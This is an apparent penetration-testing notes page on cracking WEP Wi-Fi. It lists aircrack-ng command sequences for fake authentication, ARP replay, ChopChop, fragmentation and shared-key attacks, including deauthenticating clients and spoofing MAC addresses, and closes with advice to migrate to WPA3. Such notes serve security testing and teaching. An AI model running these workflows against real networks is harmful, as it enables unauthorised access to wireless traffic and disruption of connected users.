> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/hacking-wifi/wep-networks/common-wep-attacks.md).

# Common WEP Attacks

Common WEP attack patterns and migration guidance for legacy wireless networks.

WEP is a legacy wireless protocol with fundamental cryptographic weaknesses.

No WEP configuration provides modern wireless security. Replace WEP with WPA3 whenever possible.

### Common attack patterns

WEP attacks usually collect or generate initialization vectors (IVs).

The following workflows cover fake authentication, ARP replay, ChopChop, fragmentation, and SKA techniques.

### Required information

Record these values before selecting a workflow:

* `BSSID`: the access point MAC address.
* `ESSID`: the wireless network name.
* `channel`: the access point channel.

### Fake authentication

Fake authentication establishes an association before packet injection.

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -1 0 -a <BSSID> -h <LOCAL_MAC> -e <ESSID> wlan0mon
jordan@parrot:~# aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aircrack-ng -b <BSSID> <CAPTURE_FILE>
```

### ARP replay

ARP replay generates repeated encrypted traffic and increases the IV count.

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -3 -x 1000 -n 1000 -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aircrack-ng -b <BSSID> <CAPTURE_FILE>
```

### ChopChop

ChopChop recovers keystream information from a captured WEP data frame.

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aireplay-ng -4 -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# packetforge-ng -0 -a <BSSID> -h <LOCAL_MAC> -k <SOURCE_IP> -l <DESTINATION_IP> -y <XOR_PACKET_FILE> -w <FORGED_PACKET>
jordan@parrot:~# aireplay-ng -2 -r <FORGED_PACKET> wlan0mon
jordan@parrot:~# aircrack-ng <CAPTURE_FILE>
```

### Fragmentation

Fragmentation derives keystream data from fragmented encrypted packets.

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aireplay-ng -5 -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# packetforge-ng -0 -a <BSSID> -h <LOCAL_MAC> -k <SOURCE_IP> -l <DESTINATION_IP> -y <XOR_PACKET_FILE> -w <FORGED_PACKET>
jordan@parrot:~# aireplay-ng -2 -r <FORGED_PACKET> wlan0mon
jordan@parrot:~# aircrack-ng <CAPTURE_FILE>
```

### Shared Key Authentication (SKA)

Shared Key Authentication exposes material that can support WEP key recovery.

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# aireplay-ng -0 10 -a <BSSID> -c <CLIENT_MAC> wlan0mon
jordan@parrot:~# ifconfig wlan0mon down
jordan@parrot:~# macchanger --mac <CLIENT_MAC> wlan0mon
jordan@parrot:~# ifconfig wlan0mon up
jordan@parrot:~# aireplay-ng -3 -b <BSSID> -h <SPOOFED_MAC> wlan0mon
jordan@parrot:~# aireplay-ng --deauth 1 -a <BSSID> -h <SPOOFED_MAC> wlan0mon
jordan@parrot:~# aircrack-ng <CAPTURE_FILE>
```

### Remediation

Remove WEP from every access point configuration.

Use WPA3-Personal where supported. Use WPA2-AES only when WPA3 is unavailable.


---

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